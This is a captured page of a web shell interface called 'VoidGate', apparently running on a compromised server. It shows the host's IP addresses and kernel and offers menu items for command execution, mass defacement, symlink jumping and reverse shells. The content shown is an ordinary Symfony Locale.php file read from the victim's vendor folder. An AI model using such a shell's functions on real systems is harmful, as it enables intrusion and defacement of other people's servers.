ヤミRoot VoidGate
User / IP
:
216.73.216.110
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
symfony
/
symfony
/
src
/
Symfony
/
Component
/
Intl
/
Viewing: Locale.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Intl; /** * Provides access to locale-related data. * * @author Bernhard Schussek <bschussek@gmail.com> * * @internal */ final class Locale extends \Locale { /** * @var string */ private static $defaultFallback = 'en'; /** * Sets the default fallback locale. * * The default fallback locale is used as fallback for locales that have no * fallback otherwise. * * @param string $locale The default fallback locale * * @see getFallback() */ public static function setDefaultFallback($locale) { self::$defaultFallback = $locale; } /** * Returns the default fallback locale. * * @return string The default fallback locale * * @see setDefaultFallback() * @see getFallback() */ public static function getDefaultFallback() { return self::$defaultFallback; } /** * Returns the fallback locale for a given locale. * * For example, the fallback of "fr_FR" is "fr". The fallback of "fr" is * the default fallback locale configured with {@link setDefaultFallback()}. * The default fallback locale has no fallback. * * @param string $locale The ICU locale code to find the fallback for * * @return string|null The ICU locale code of the fallback locale, or null * if no fallback exists */ public static function getFallback($locale) { if (function_exists('locale_parse')) { $localeSubTags = locale_parse($locale); if (1 === count($localeSubTags)) { if (self::$defaultFallback === $localeSubTags['language']) { return 'root'; } // Don't return default fallback for "root", "meta" or others // Normal locales have two or three letters if (strlen($locale) < 4) { return self::$defaultFallback; } return null; } array_pop($localeSubTags); return locale_compose($localeSubTags); } if (false !== $pos = strrpos($locale, '_')) { return substr($locale, 0, $pos); } if (false !== $pos = strrpos($locale, '-')) { return substr($locale, 0, $pos); } if (self::$defaultFallback === $locale) { return 'root'; } // Don't return default fallback for "root", "meta" or others // Normal locales have two or three letters if (strlen($locale) < 4) { return self::$defaultFallback; } } /** * This class must not be instantiated. */ private function __construct() { } }
Coded With 💗 by
0x6ick